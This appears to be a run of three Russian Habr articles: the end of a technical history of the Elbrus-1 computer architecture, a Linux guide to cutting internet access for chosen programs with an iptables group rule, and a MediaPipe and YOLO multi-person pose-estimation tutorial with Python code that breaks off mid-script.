После декодирования код во внутреннем представлении примерно таков (мнемоники придуманы):
```
загр a -> R1 ; с захватом R1 в СтОп
загр b -> R2 ; с захватом R2 в СтОп
∗ R1 R2 ->R3 ; с захватом R2 в СтОп, R1 & R2 освобождаются по выполнении
загр с -> R4 ; с захватом R4 в СтОп
загр d -> R5 ; с захватом R5 в СтОп
⁄ R4 R5 ->R6 ; с захватом R6 в СтОп, R4 & R5 освобождаются по выполнении
+ R3 R6 ->R1 ; с захватом освобожденного было R1 в СтОп,
; R3 & R6 освобождаются по выполнении
; результат в R1
```
Из-за зависимостей между командами исполнение происходит в следующем порядке (2 инструкции за такт, загрузка из кэша — 1 такт, загрузка из памяти 13 тактов, “\*”-4 такта, “/” — 24 такта, “+” — 3 такта):
| | | |
| --- | --- | --- |
| такт | Старт | Исполнилось |
| 1 | загр a -> R1; загр b -> R2 | |
| 2 | загр с -> R4; загр d -> R5 | загр a -> R1 |
| 3 | | загр с -> R4 |
| 13 | | загр b -> R2 |
| 14 | ∗ R1 R2 ->R3 | загр с -> R4 |
| 15 | ⁄ R4 R5 ->R6 | |
| 17 | | ∗ R1 R2 ->R3 |
| 38 | | ⁄ R4 R5 ->R6 |
| 38 | + R3 R6 ->R1 | |
| 40 | | + R3 R6 ->R1 |
Умножение и деление выполняются вполне параллельно. Увы, но арифметические исполнительные устройства не имеют конвейеров, которые планировались только в векторном процессоре [2, стр.150].
#### Остановка и продолжение исполнения
Иногда может потребоваться приостановить работу программы с возможностью при необходимости продолжить работу, например, при истечении кванта времени. Для этого требуется восстановление исходного порядка инструкций. При этом:
1. запоминается номер команды, вызвавшей прерывание
2. завершаются команды, дешифрованные ранее неё, и отменяется выполнение команд, дешифрованных позднее
3. восстанавливается состояние регистров на момент, соответствующий декодированию команды, вызвавшей прерывание
4. входим в прерывание
Восстановление состояния регистров потребует специального механизма, например, циклического буфера для лога изменений значений регистров размером 2 \* “максимальная длина инструкции в тактах”. В этот лог при завершении инструкции записываются — старое значение регистра из СтОп, новое значение, номер регистра и номер команды. Тогда при необходимости можно открутить назад изменения для отменяемых команд.
Отмена выполнения команд используется также при обработке команд условного перехода. Таким образом осуществляется [спекулятивное исполнение кода](https://ru.wikipedia.org/wiki/%D0%9F%D0%B0%D1%80%D0%B0%D0%BB%D0%BB%D0%B5%D0%BB%D0%B8%D0%B7%D0%BC_%D0%BD%D0%B0_%D1%83%D1%80%D0%BE%D0%B2%D0%BD%D0%B5_%D0%BA%D0%BE%D0%BC%D0%B0%D0%BD%D0%B4).
Про предсказатель направления ветвления есть упоминание [1], но механизм неясен.
Итак, что мы имеем?
* суперскалярность на уровне 2 инструкции за такт
* для реализации суперскалярности использована техника [scoreboarding](https://en.wikipedia.org/wiki/Scoreboarding), никакого [переименования регистров](https://en.wikipedia.org/wiki/Register_renaming), как указано в [5], нет и близко, эта техника здесь просто неприменима
* использование стека операндов близко к технике [регистровых окон](https://ru.wikipedia.org/wiki/%D0%A0%D0%B5%D0%B3%D0%B8%D1%81%D1%82%D1%80%D0%BE%D0%B2%D0%BE%D0%B5_%D0%BE%D0%BA%D0%BD%D0%BE), появившейся независимо, но на несколько лет позднее (Э-1: разр. 1973-1979, BerkeleyRISC: 1980-1984)
* внеочередное исполнение команд
* предсказание переходов со спекулятивным исполнением
* сочетание безадресной архитектуры и суперскалярности в Эльбрусе-1 по-видимому имеет приоритет
#### Многопроцессорная работа
Проблема межпроцессорного взаимодействия связана с наличием у каждого процессора своего СОЗУ (кэш) и, следовательно соответствием данных в ОЗУ и СОЗУ. СОЗУ позволяет значительно снизить частоту обращений в относительно медленную память, но при этом возможна ситуация, когда данные в памяти свежее оных в СОЗУ.
В МВК “Эльбрус” задача может порождать несколько процессов (threads), разделяющих общую математическую память. Участок программы, использующий (считывающий или модифицирующий) общие для нескольких процессов данные, называется критической секцией.
Проблем две — синхронизация и поддержка [когерентности кэша](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%B3%D0%B5%D1%80%D0%B5%D0%BD%D1%82%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D1%8D%D1%88%D0%B0).
##### **Семафоры**:
* Семафор — это тип данных в системе команд, который имеет свой тег [2 стр.121]. Непривилегированный пользователь не может никак изменить содержимое семафора. Он может лишь подавать семафор по имени в качестве параметра в процедуры синхронизации (семафоры не могут копироваться и каждый семафор существует лишь в одном экземпляре, однако на каждый семафор может быть установлено несколько ссылок)
* Семафор может быть в состоянии “открыто” или “закрыто”.
* Функция “ЖДАТЬ” (с аргументом — ссылкой на семафор) блокирует (ставит его в очередь семафора) текущий thread, если тот закрыт или ничего не делает, если открыт. После разблокирования, thread продолжит исполнение со следующей после вызова этой функции инструкции.
* Функция “ОТКРЫТЬ” (...) переводит семафор в открытое состояние, все ждущие его открытия процессы (threads) переносятся в очередь готовых к исполнению
* Функция “ПРОПУСТИТЬ” (...) переводит все процессы (threads), заблокированные на данном семафоре в разряд готовых к исполнению, семафор остается закрытым
* Функция “ЗАКРЫТЬ” (...) переводит семафор в закрытое состояние, если он был открыт. Если семафор был закрыт, то текущий thread блокируется и ставится в очередь семафора. Отличие от функции “ЖДАТЬ” в том, что когда данный thread разблокируется, вновь будет сделана попытка закрыть семафор.
* Функция “ОТКЗАКРЫТЬ” привилегированная[2,124], первым операндом должен быть спинлок, а вторым — обычный семафор, атомарно открывает первый семафор и закрывает второй. производитель-потребитель. Например, процессы обмениваются порциями данных, при потребитель должен получать сигнал, что готова новая порция данных, а производитель — что потребитель обработал предыдущую. Решение этой задачи на двух семафорах состоит в том, что один семафор используется для оповещения производителя, а другой — потребителя.
* Для привилегированных пользователей доступны операции со [спинлоками](https://ru.wikipedia.org/wiki/Spinlock) — “ЖУЖ”(да, от слова жужжать [2 стр.124]) и “ОТКРСЕМ”, аналогичные “ЗАКРЫТЬ” и “ОТКРЫТЬ”. Эти операции заметно быстрее, но пригодны только для кратковременных работ, при этом недопустимы прерывания (работа с виртуальной памятью и устройствами). С семафором нельзя одновременно работать и как с семафором и как со спинлоком.
* На пользователей возлагается ответственность за правильностью использования этой техники. Например, если какой-то процесс открывает семафор, который им не закрывался, то процесс, который закрывал семафор, теряет монополию на работу с данными, охраняемыми этим семафором. Кроме того, эта техника не гарантирует отсутствия [тупиков](https://ru.wikipedia.org/wiki/Deadlock).
* При закрытии семафора запоминается время этого события, оно нам еще пригодится.
##### **Когерентность памяти**
Считается, что работа с общими данными может производиться только в критической секции, то есть между операциями «ЗАКРЫТЬ» и «ОТКРЫТЬ» или операциями «ЖУЖ» и «ОТКСЕМ».
Все данные, записываемые в СОЗУ процессора между этими операциями, помечаются как «общие» и, кроме того, запоминается время их занесения в СОЗУ. Под СОЗУ понимается память глобальных данных объемом 1024 слова [2 стр. 186].
Каждая процедура имеет свое собственное локальное адресное пространство, глобальные данные принадлежат другим процедурам, насколько это позволяет область видимости процедуры. Т.е. для компилятора и для процессора обращения к локальным и глобальным данным неравноценны.
При открытии семафора в него записывается время открытия. При каждом закрытии семафора анализируется записанное в него время и время записи общих данных в СОЗУ. Те общие данные, которые попали в СОЗУ раньше открытия этого семафора, теперь не достоверны, так как могли быть изменены другим ЦП. Те данные, которые попали в СОЗУ после открытия семафора, достоверны, так как они не имеют отношения к данному семафору.
Разберемся на примере. Предположим, речи идет о потоко-безопасном счетчике.
1. поток-1 захватывает (закрывает в терминах Эльбрус) семафор-1 на ЦП-1 в момент Т-1
2. поток-1 читает переменную счетчик-1, которой не было в глобальном кэше
3. поток-2 пытается захватить семафор-1 и блокируется
4. теперь счетчик-1 появился в глобальном кэше ЦП-1 со временем Т-2
5. поток-1 наращивает и записывает счетчик-1 в глобальный кэш ЦП-1 со временем Т-3
6. поток-1 освобождает (открывает в терминах Эльбрус) семафор-1 со временем Т-4. В этот момент выявляется изменение счетчик-1 в пределах времени захвата семафора-1 и это значение записывается в память, теперь оно доступно всем
7. поток-2 проснулся в момент Т-5 на ЦП-2 с захваченным (закрытым) семафором-1
8. поток-2 пытается прочитать значение счетчик-1, которое уже есть в глобальном кэше ЦП-2 с меткой времени Т-0. Т.к. Т-0 меньше Т-5, значение считается инвалидным и читается из памяти.
9. поток-2 освобождает (открывает в терминах Эльбрус) семафор-1 со временем Т-6. Поскольку ничего не менялось, ничего не происходит
Таким образом, на основании сравнения времени открытия семафора и времени занесения общих данных в СОЗУ, ЦП однозначно решает проблему достоверности данных. При этом не нужно сбрасывать весь глобальный кэш, что нанесло бы удар по производительности.
Чтобы обеспечить всё это, для меж-процессорного взаимодействия введены инструкции:
* “ПРЕРВАТЬЦП” с аргументом — маской заинтересованных процессоров. В результате все указанные процессоры получают прерывание.
* “ЖДАТЬЦП” — выполнение команды заключается в ожидании исполнения команды “ОТВЕТЦП” от всех процессоров, указанных в команде (параметре команды)
* “ОТВЕТЦП” — подтверждение получения и исполнения прерывания
По всей видимости, так распространяется информация о изменении состояния семафоров.
Также предположительно, таким образом должны распространяться данные, которые заносятся в СОЗУ аппаратно без закрытия каких-либо семафоров. Сюда относятся дескрипторы программных сегментов и таблицы соответствия математических и физических адресов.
Таким же образом можно (было бы) решить проблему доставки изменений в СОЗУ при закрытии семафора до СОЗУ других процессоров.
### Вызов функций
Параметры вызова функции и локальные переменные лежат в стеке. Контекст вызова также лежит в стеке. В сущности, контекст состоит из двух указателей — на старый контекст (т.е. контексты связаны списком для осуществления выхода из функций) и на инструкцию, с которой произошел вызов. Плюс дополнительная информация, всё это удалось упаковать в два слова.
Но вызов функций в Эльбрусе своеобразен. Он многофазный.
1. Сначала мы должны создать контекст будущего вызова и поместить его на вершину стека (маркировка стека)
2. Вычисляем параметры вызова, которые оказываются на вершине стека в нужном порядке. Таким образом параметры находятся после контекста и к ним можно обращаться через дескриптор области локальных данных используя общий механизм аппаратной защиты.
3. Выделяется память (размер которой определяет компилятор) под локальные данные. И всё, можно начинать исполнение функции.
При выходе, если необходимо, функция на месте своего бывшего контекста оставляет возвращаемое значение.
Зачем такие сложности? Почему не вызвать функцию более традиционно, одной инструкцией?
В этом случае параметры функции окажутся перед контекстом и дескриптор области локальных данных, который начинается с этого контекста не сможет их покрыть. Если же сдвинуть начальную область дескриптора назад, на начало области параметров, сломается список стека вызовов, либо придется прописывать в стек псевдо-параметр -длину области параметров. Что фактически та же самая маркировка стека.
Что касается упомянутого дескриптора для доступа к локальным данным, то он не один, их аж 32. И какой из них используется, определяется лексикографическим уровнем функции.
#### Лексикографический уровень процедур.
Этот механизм в чем-то похож на [уровень привилегий х86](https://en.wikipedia.org/wiki/Privilege_level). Имеются 32 базовых регистра дескрипторов, описывающих локальные данные процедур (+параметры) в стеке.
Каждый (как обычный дескриптор области) содержит:
1. 32...38 разрядов — математический адрес начала описываемой области (“МАНАЧ”)
2. 13...18 разрядов — максимальный индекс или размер (“ИНДМАКС”)
3. 3 разряда — шаг дескриптора 2\*\*n бит (n = 0,1,2,...,7) (“ШАГДЕСК”)
4. 4 разряда — информация о режиме доступа (“ЗАЩИТА”)
Разные базовые регистры описывают разные контексты стека. Так, регистр №0 содержит дескриптор, описывающий стек из описателей процедур и данных операционных систем, регистры №1 и №2 описывают стеки описателей процедур и внешних имен выполняемой задачи, регистр №3 содержит дескриптор, описывающий стек блока верхнего уровня и так далее.
Таким образом, если некоторая инструкция инструкции содержит закодированное «имя» величины (физически расположенной в стеке), то оно определено только в данном контексте. Доступ к элементу стека осуществляется через лексикографический уровень функции, и порядковый номер слова в области стека, выделенной для данных этой функции (адресная пара).
#### ФОРТРАН, КОБОЛ, ЛИСП, APL — языки, не имеющие блочной структуры
В процедурах таких языков доступны лишь локальные переменные и параметры вызова. Распределение памяти для каждой вызываемой процедуры производится динамически. При входе в процедуру ей отводится в стеке необходимая область свободной памяти для формальных параметров и локальных переменных, указатель стека (УС) передвигается на новую границу.
Отводимая процедуре область памяти описывается дескриптором, помещенным в один из базовых регистров (пусть N). Обращение к величине в этой области осуществляется с помощью адресной пары (N, И).
Область свободной памяти в стеке ниже новой границы используется для хранения промежуточных результатов.
При выходе из процедуры, отведенная ей область памяти возвращается обратно в область свободной памяти путем восстановления прежнего УС. Таким образом, каждой процедуре отводится ровно столько памяти, сколько потребует динамика ее выполнения, и только тогда, когда это необходимо.
Если из рассматриваемой процедуры Р производится обращение к другой процедуре Q, то для процедуры Q отводится область свободной памяти точно таким же образом, как и для процедуры Р. При этом переменные, описанные в процедуре Р, и ее промежуточные результаты остаются в стеке и могут быть вновь использованы, когда произойдет возврат из процедуры Q.
При выходе из процедуры Q необходимо восстановить содержимое базового регистра с номером N и передать управление на оператор, следующий за оператором вызова процедуры Q. Для этого при входе в любую процедуру в начале области свободной памяти отводится 2 слова для связующей информации, состоящей из специальных управляющих слов:
* **МКС** — маркер стека аналогичен дескриптору, содержит размер области данных процедуры, а его собственный адрес — адрес начала этой области. Сверху вниз:
+ 32 разряда — математический адрес предыдущего МКС (“АДРЕС”)
+ 1 разряд — признак блокировки записи адресной информации (“БЛ”)
+ 1 разряд — признак привилегированной процедуры (“РЕЖ”)
+ 19 разрядов — размер области памяти в стеке, отведенной для процедуры (“РАЗМЕР”)
+ 2 разряда — тип возврата: без значения; 1 слово; 2 слова (“ЗН”)
+ 5 разрядов — резерв
+ 4 разряда — номер лексикографического уровня процедуры (“LL”)
* **УСВ** — управляющее слово возврата — метка, по которой будет передано управление после возврата из данной процедуры плюс дополнительная информация.
+ 18 разрядов — “Δ АДРЕСА” разница между адресом данного УСВ и адресом МКС запустившей процедуры
+ 3 разряда — “триггеры”, информация о состоянии запустившей процедуры
+ … признаки завершенности входа, прерывания …
+ 16 разрядов — “Nk”, номер байта возврата относительной программной базы
+ 11 разрядов — “БАЗА”, информация о базе программного сегмента, фактически, адрес функции, пара (Nk & БАЗА) содержит адрес возврата
+ 4 разряда — номер лексикографического уровня процедуры
+ …
При вызове процедуры Q принята следующая последовательность операций:
1. Загружается в стек метка процедуры Q, то есть информация о том, в каком месте математической памяти находится вход в процедуру Q.
2. Выполняется команда “МС” — маркировать стек. При этом:
1. отводится свободная ячейка в верхушке стека, и в нее помещается заготовка УСВ для вызываемой процедуры Q
2. в поле “Δ АДРЕСА” заготовки УСВ записывается разность между адресом этого УСВ и содержимым УМС (вспомогательный регистр, называемый указателем маркера стека), формируется так называемая динамическая цепочка. В УМС записывается адрес метки. Нужен этот регистр только в особый период, при передаче параметров.
3. далее следуют команды, которые последовательно загружают в стек информацию о фактических параметрах.
3. Выполняется команда “ВХОД”.
Выход из процедуры осуществляется командой “ВОЗВРАТ”, при этом:
1. по лексикографическому уровню процедуры (К) находятся МКС и УСВ текущей процедуры, фактически, базовый регистр со смещением 0 смотрит на МКС
2. соответствующее поле в УСВ процедуры (“ЗН”) указывает, оставлять ли значение в стеке
3. по информации, хранящейся в поле “Δ АДРЕСА” процедуры (динамическая цепочка) поля “МАНАЧ” дескриптора К, находится МКС процедуры, вызвавшей данную (Р) и формируется новый дескриптор в её базовом регистре.
4. управление передается в процедуру Р по информации, хранящейся в её УСВ. При этом по содержимому поля “БАЗА” в регистр базы записывается дескриптор программного сегмента процедуры Р, а в счетчик команд записывается содержимое поля Nk — номер программного слова, с которого должно быть возобновлено выполнение процедуры Р.
#### АЛГОЛ60, ПЛ/1, СИМУЛА, АЛГОЛ68 — языки с блочной структурой
Разработчиками принята точка зрения, согласно которой блок является частным случаем процедуры без параметров, у которой описание и вызов находятся в одном и том же месте программы.
Следовательно, каждый вход в блок сопровождается внесением на вершину стека двух слов — МКС & УСВ и имитацией вызова процедуры. Поскольку параметров нет, всё делается сразу. Для блока выделяется в стеке область под локальные переменные и создается дескриптор под эту область плюс предыдущие 2 слова с контекстом.
Однако, блок отличается от полноценной функции тем, что в нём доступны переменные из вышестоящих блоков той же функции. Как же это обеспечить?
Данная проблема была решена организацией стека дескрипторов. Как мы помним, у нас в наличии 32 дескриптора, первые 3 из которых зарезервированы. Остальные используются как стек. Т.е. при входе в блок мы наращиваем текущий лексикографический уровень (для этого есть регистр уровня), при выходе из блока, уменьшаем его. Итого, максимально возможный уровень вложенности блоков — от 30 для простых смертных до 32 для операционной системы.
Тут возникают проблемы — пусть мы из блока с уровнем вложенности N функции Q вызываем функцию P со своим деревом блоков. Если ничего не предпринять, то дескрипторы блоков (в базовых регистрах) будут перезаписаны и возврат из P произойдет в неработоспособное состояние.
Естественное место, куда можно сохранить содержимое базовых регистров — контексты блоков в стеке. На самом деле даже сохранять ничего не нужно, содержимое базовых регистров можно заново воссоздать при возврате:
1. находится адрес МКС предыдущей функции. Для этого достаточно шагать назад по списку МКС число раз, соответствующее предыдущему значению лексикографического (регистра) уровня
2. предыдущее значение лексикографического уровня можно взять в поле “LL” ближайшего МКС
3. поле “БАЗА” всех просматриваемых УСВ должно быть одинаковым и указывать на адрес нужной функции, это еще один критерий остановки прохода по списку МКС
4. в процессе прохода по списку на основании текущего МКС перезаписываем дескриптор с номером поля LL
Поддержка блочных языков выглядит довольно громоздкой. Кроме того, механизм базовых регистров имеет двойственную природу — с одной стороны, это механизм разграничения операционной системы, библиотек и конечных программ. А с другой стороны — стек дескрипторов блоков. Почему так получилось?
Из за аппаратной защиты памяти. Каждому блоку соответствует свой дескриптор, стек блоков соответствует стеку дескрипторов.
Почему нельзя было обойтись единым дескриптором для всей функции? По всей видимости потому, что тогда при входе в функцию пришлось бы выделять локальную память для самого худшего случая.
Например:
```
procedure p;
begin
integer i;
...
begin
integer array s [1:1000];
...
end
...
end
```
даже если внутренний блок посещается крайне редко, нам тем не менее пришлось бы каждый раз при вызове P выделять под локальные переменные память для 1001 целого, а не 1 фактически необходимого. В условиях, когда память является весьма дорогим ресурсом, это весомый аргумент.
Но почему не сделать для функции дескриптор от МКС функции до конца стека? Потому что фактически это будет отказ от аппаратной защиты памяти (на 50% :). Кроме того, возможно, сегмент стека умел (или планировалось, что будет уметь) расширяться при переполнении, тогда у него просто нет конца.
Справедливости ради, на современных “Эльбрусах” реализован (в целях безопасности, по-видимому) второй аппаратный стек для хранения информации возврата [9]. С помощью такого механизма вышеописанная защита реализуется куда как более элегантно. Правда, современные “Эльбрусы” имеют мало общего с предметом данной статьи.
### Итого
Вот мы и добрались до конца. При этом рассмотрели основные архитектурные особенности “Эльбрусов”. Автор намеренно не касался некоторых аспектов, например, работы с периферией, устройства файловой системы … т.к. за истекший период всё настолько сильно изменилось, что (с точки зрения автора) представляет интерес с почти археологической точки зрения — “интересно, ну и как же они выкручивались в то время то?”.
А вот, некоторые именно архитектурные идеи, заложенные в комплекс, не потеряли актуальности и по сей день. Например, теговая система продолжает жить в “эльбрусах” современных. Жаль, что идея [суперскалярного стекового процессора](https://habrahabr.ru/post/278575/) не прижилась, хотя концептуально она (на взгляд автора, по крайней мере) стройнее и проще, чем идея регистровой суперскалярной архитектуры или архитектур с явным параллелизмом.
В любом случае, на момент своего появления “Эльбрус” несомненно был на самом острие прогресса, причем его создатели прокладывали свой собственный путь в будущее, опираясь, конечно, на мировой опыт, выдвигали и реализовывали оригинальные идеи.
Дальнейшее развитие комплекса его создатели видели [2, стр 201] в том числе и в использовании конвейеризированного векторного сопроцессора (который существовал и на реальных задачах показывал производительность в 80 Mflops [2, стр 166]), что вполне укладывается в наши сегодняшние представления.
### Источники
> [1] [Масич Г.Ф. лекции](http://www2.icmm.ru/~masich/win/lexion/elbrus2/elbrus2.htm)
>
> [2] [Сборник статей В.С Бурцева (руководитель проекта, главный по аппаратной части)](http://www.computer-museum.ru/books/Burcev_elbrus.pdf)
>
> [3] [WIKI статья про Эльбрусы](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D1%8C%D0%B1%D1%80%D1%83%D1%81_(%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80))
>
> [4] [www.osp.ru/os/2009/02/7314081](http://www.osp.ru/os/2009/02/7314081/)
>
> [5] [www.ixbt.com/cpu/e2k-spec.html](http://www.ixbt.com/cpu/e2k-spec.html)
>
> [6] [здесь интерес представляют комментарии Погорилого](http://dm-kalashnikov.livejournal.com/79346.html)
>
> [7] [www.pvsm.ru/programmirovanie/106969](http://www.pvsm.ru/programmirovanie/106969)
>
> [8] [www.caesarion.ru/warrax/w/warrax.net/88/elbrus.html](http://www.caesarion.ru/warrax/w/warrax.net/88/elbrus.html)
>
> [9] [www.mcst.ru/files/511cea/886487/1a8f40/000000/book\_elbrus.pdf](http://www.mcst.ru/files/511cea/886487/1a8f40/000000/book_elbrus.pdf)
UPD: огромное спасибо хабровчанину [wasya](https://habrahabr.ru/users/wasya/) за исправление ошибок, уточнения и комментарии, которые, конечно же, были учтены | https://habr.com/ru/post/313376/ | null | ru | null |
# Ограничение доступа в интернет для приложений в Linux
Иногда бывает необходимо запустить программу, предварительно заблокировав для неё доступ в интернет. Существует довольно простой трюк для решения этой задачи.
Итак, идея заключается в том, чтобы при запуске приложения устанавливать особый ID группы, который будет сигналом блокировки доступа для netfilter.
#### Шаг 1. Создаём группу-маркер и добавляем себя в неё
Создаём группу (В нашем случае группа будет называться `noinet`):
`sudo groupadd noinet`
Добавляем в неё текущего пользователя:
`sudo gpasswd -a `id -un` noinet`
#### Шаг 2. Создаём правило для iptables, которое будет выполняться перед каждым подъёмом сетевого интерфейса
Создадим файл в директории /etc/network/if-pre-up.d
`sudo vim /etc/network/if-pre-up.d/inet_access_blocking_rule`
со следующим содержимым:
`#!/bin/bash
iptables -A OUTPUT -m owner --gid-owner noinet -j DROP`
Не забываем сделать его исполняемым:
`sudo chmod +x /etc/network/if-pre-up.d/inet_access_blocking_rule`
#### Шаг 3. Создаём скрипт запуска, устанавливающий группу-признак
Разместим скрипт в /usr/local/bin
`sudo vim /usr/local/bin/noinet`
Содержимое скрипта несложное:
`#!/bin/bash
sg noinet "$*"`
Опять же, не забываем сделать его исполняемым
`sudo chmod +x /usr/local/bin/noinet`
#### Шаг 4. Перезагрузка системы
Наверняка это можно сделать проще, но в случае с karmic out-of-box ситуация выглядит следующим образом:
`sudo service networking restart` сообщает:
restart: Unknown instance:
`sudo initctl restart networking` сообщает:
initctl: Unknown instance:
`sudo invoke-rc.d networking restart` сообщает:
Ignoring unknown interface eth0=eth0
К тому же, чтобы добавление пользователя в группу вступило в силу вам придётся перелогиниться (это как минимум перезапуск DE — `sudo restart gdm`).
В общем, если вы просто перезагрузитесь, то все настройки выполнены и вступили в силу.
#### Использование
Использование простое:
`noinet ping habrahabr.ru`
`noinet firefox`
Хардкорные линуксоиды шаг 3 могут опустить и использовать всё это так :)
`**sg** noinet "ping habrahabr.ru"`
`**sg** noinet "firefox"` | https://habr.com/ru/post/82933/ | null | ru | null |
# Определение позы для нескольких людей с Mediapipe
Современные подходы в основном опираются на мощь рабочего компьютера для вывода, в то время как метод Mediapipe способен обеспечить производительность в реальном времени на большинстве современных мобильных телефонов, настольных компьютеров и в Интернете(javascript).
Кое-что об оценке позы Mediapipe
--------------------------------
Функция MediaPipe Pose Landmark может извлекать 33 ключевые точки ориентира, как показано выше. Результатом является список ориентиров позы, и каждый ориентир состоит из координат ориентира x и y, нормализованных `[0.0, 1.0]`по ширине и высоте изображения соответственно.
Образец кода
------------
```
import cv2
import mediapipe as mp
mp_drawing = mp.solutions.drawing_utils
mp_holistic = mp.solutions.holistic
# For static images:
IMAGE_FILES = []
with mp_holistic.Holistic(
static_image_mode=True,
model_complexity=2) as holistic:
for idx, file in enumerate(IMAGE_FILES):
image = cv2.imread(file)
image_height, image_width, _ = image.shape
# Convert the BGR image to RGB before processing.
results = holistic.process(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
if results.pose_landmarks:
print(
f'Nose coordinates: ('
f'{results.pose_landmarks.landmark[mp_holistic.PoseLandmark.NOSE].x * image_width}, '
f'{results.pose_landmarks.landmark[mp_holistic.PoseLandmark.NOSE].y * image_height})'
)
# Draw pose, left and right hands, and face landmarks on the image.
annotated_image = image.copy()
mp_drawing.draw_landmarks(
annotated_image, results.face_landmarks, mp_holistic.FACE_CONNECTIONS)
mp_drawing.draw_landmarks(
annotated_image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
annotated_image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
annotated_image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS)
cv2.imwrite('/tmp/annotated_image' + str(idx) + '.png', annotated_image)
# Plot pose world landmarks.
mp_drawing.plot_landmarks(
results.pose_world_landmarks, mp_holistic.POSE_CONNECTIONS)
# For webcam input:
cap = cv2.VideoCapture(0)
with mp_holistic.Holistic(
min_detection_confidence=0.5,
min_tracking_confidence=0.5) as holistic:
while cap.isOpened():
success, image = cap.read()
if not success:
print("Ignoring empty camera frame.")
# If loading a video, use 'break' instead of 'continue'.
continue
# Flip the image horizontally for a later selfie-view display, and convert
# the BGR image to RGB.
image = cv2.cvtColor(cv2.flip(image, 1), cv2.COLOR_BGR2RGB)
# To improve performance, optionally mark the image as not writeable to
# pass by reference.
image.flags.writeable = False
results = holistic.process(image)
# Draw landmark annotation on the image.
image.flags.writeable = True
image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)
mp_drawing.draw_landmarks(
image, results.face_landmarks, mp_holistic.FACE_CONNECTIONS)
mp_drawing.draw_landmarks(
image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS)
cv2.imshow('MediaPipe Holistic', image)
if cv2.waitKey(5) & 0xFF == 27:
break
cap.release()
```
Если мы намереваемся определить позы двух человек на фотографии или на видео, одним из возможных подходов было определение граничной рамки человека, наложить маску на картинку(как на нижнем рисунке), кроме граничной рамки человека, повторить это действие для других найденных людей, и по очереди дать картинку в mediapipe.
Обнаружение людей через YOLO v4
-------------------------------
[YOLO](https://pjreddie.com/darknet/yolo/) - это современная система обнаружения объектов в реальном времени. Поскольку YOLO доказал свою высокую скорость и точность, его можно использовать для обнаружения объекта-человека. Реализацию YOLOv4 взял от [сюда](https://github.com/LeonLok/Deep-SORT-YOLOv4). И добавил в демонстрационный файл несколько строчек кода и вызывал эту функцию после детекции объектов:
```
# MediaPipe init.
import mediapipe as mp
mp_drawing = mp.solutions.drawing_utils
mp_holistic = mp.solutions.holistic
holistic = mp_holistic.Holistic(static_image_mode=True)
def mdp_holistic(original_image, image):
''' MediaPipe Pose recognition. '''
results = holistic.process(cv2.cvtColor(image, cv2.COLOR_BGR2RGB))
# cv2.imwrite('holistic_input.jpg', image)
if results.pose_landmarks:
# Draw pose, left and right hands, and face landmarks on the image.
mp_drawing.draw_landmarks(
original_image, results.face_landmarks, mp_holistic.FACE_CONNECTIONS)
mp_drawing.draw_landmarks(
original_image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
original_image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
mp_drawing.draw_landmarks(
original_image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS)
return original_image
```
Другое решение этой проблемы
----------------------------
Выше, для обнаружения людей, мы использовали нейронную сеть YOLO v4, которая не самая простая и легкая. Мы еще по экспериментировали с mediapipe, и нашли выход одновременно обнаружить несколько поз людей, используя только mediapipe. Она реализована на рекурсии и не использует сторонние нейронные сети, так что она легкая и простая.
Логика здесь такая, делаем копию входного изображения, находим позу первого человека, определяем максимум и минимум точки и закрашиваем этот прямоугольник, дальше ищем позу второго человека и т.д. В конце рисуем на оригинальной картинке.
```
import cv2
import time
import mediapipe as mp
import datetime
mp_holistic = mp.solutions.holistic
holistic = mp_holistic.Holistic(static_image_mode=True)
mp_draw = mp.solutions.drawing_utils
def holistic_recursive(origin_image, image, padding = 20, recursion_depth = 20):
results = holistic.process(image)
X , Y = [], []
h, w = image.shape[:2]
person_detected = False
if results.pose_landmarks:
mp_draw.draw_landmarks(origin_image, results.pose_landmarks, mp_holistic.POSE_CONNECTIONS)
for i in range(len(results.pose_landmarks.landmark)):
X.append(results.pose_landmarks.landmark[i].x)
Y.append(results.pose_landmarks.landmark[i].y)
person_detected = True
if results.face_landmarks:
mp_draw.draw_landmarks(origin_image, results.face_landmarks, mp_holistic.FACE_CONNECTIONS)
for i in range(len(results.face_landmarks.landmark)):
X.append(results.face_landmarks.landmark[i].x)
Y.append(results.face_landmarks.landmark[i].y)
person_detected = True
if results.left_hand_landmarks:
mp_draw.draw_landmarks(origin_image, results.left_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
for i in range(len(results.left_hand_landmarks.landmark)):
X.append(results.left_hand_landmarks.landmark[i].x)
Y.append(results.left_hand_landmarks.landmark[i].y)
person_detected = True
if results.right_hand_landmarks:
mp_draw.draw_landmarks(origin_image, results.right_hand_landmarks, mp_holistic.HAND_CONNECTIONS)
for i in range(len(results.right_hand_landmarks.landmark)):
X.append(results.right_hand_landmarks.landmark[i].x)
Y.append(results.right_hand_landmarks.landmark[i].y)
person_detected = True
if person_detected and recursion_depth > 0:
# create bbox
x1 = int(min(X) * w)
y1 = int(min(Y) * h)
x2 = int(max(X) * w)
y2 = int(max(Y) * h)
# Add padding
x1 = x1 - padding if x1 - padding > 0 else 0
y1 = y1 - padding if y1 - padding > 0 else 0
x2 = x2 + padding if x2 + padding < w else w
y2 = y2 + padding if y2 + padding < h else h
# zero bbox
image[y1:y2, x1:x2] = 0
# cv2.imwrite('crop.jpg', image)
holistic_recursive(origin_image, image, recursion_depth - 1)
cap = cv2.VideoCapture(0)
# cap = cv2.VideoCapture('smeny-etsn-brigadoy-tkrs_Pxv28bmL_N5en.mp4')
# Write video
# w = int(cap.get(3))
